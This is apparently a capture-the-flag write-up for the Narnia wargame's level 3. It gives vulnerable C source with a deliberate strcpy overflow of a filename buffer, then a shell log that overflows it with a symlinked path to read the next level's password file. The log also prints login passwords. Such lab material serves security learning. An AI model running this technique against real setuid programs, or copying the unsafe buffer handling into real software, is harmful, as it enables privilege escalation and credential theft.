narnia3

/** narnia3.c *//*    This program is free software; you can redistribute it and/or modify    it under the terms of the GNU General Public License as published by    the Free Software Foundation; either version 2 of the License, or    (at your option) any later version.    This program is distributed in the hope that it will be useful,    but WITHOUT ANY WARRANTY; without even the implied warranty of    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the    GNU General Public License for more details.    You should have received a copy of the GNU General Public License    along with this program; if not, write to the Free Software    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA*/#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>#include <string.h> int main(int argc, char **argv){         int  ifd,  ofd;        char ofile[16] = "/dev/null";        char ifile[32];        char buf[32];         if(argc != 2){                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);                exit(-1);        }         /* open files */        strcpy(ifile, argv[1]);        if((ofd = open(ofile,O_RDWR)) < 0 ){                printf("error opening %s\n", ofile);                exit(-1);        }        if((ifd = open(ifile, O_RDONLY)) < 0 ){                printf("error opening %s\n", ifile);                exit(-1);        }         /* copy from file1 to file2 */        read(ifd, buf, sizeof(buf)-1);        write(ofd,buf, sizeof(buf)-1);        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);         /* close 'em */        close(ifd);        close(ofd);         exit(1);}

栈环境

root@today:~# ssh narnia3@178.79.134.250narnia3@178.79.134.250's password: vaequeezeenarnia3@melinda:~$ cd /tmp/shadowcoder3narnia3@melinda:/tmp/shadowcoder3$ lsnarnia3  narnia3.cnarnia3@melinda:/tmp/shadowcoder3$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmpnarnia3@melinda:/tmp/shadowcoder3$ ln -sf /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/shadow.txtnarnia3@melinda:/tmp/shadowcoder3$ cd ..narnia3@melinda:/tmp$ touch shadow.txtnarnia3@melinda:/tmp$ chmod 777 shadow.txtnarnia3@melinda:/tmp$ cd -/tmp/shadowcoder3narnia3@melinda:/tmp/shadowcoder3$ /narnia/narnia3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/shadow.txtcopied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/shadow.txt to a safer place... (/tmp/shadow.txt)narnia3@melinda:/tmp/shadowcoder3$ cat /tmp/shadow.txtthaenohtai����    ��So��narnia3@melinda:/tmp/shadowcoder3$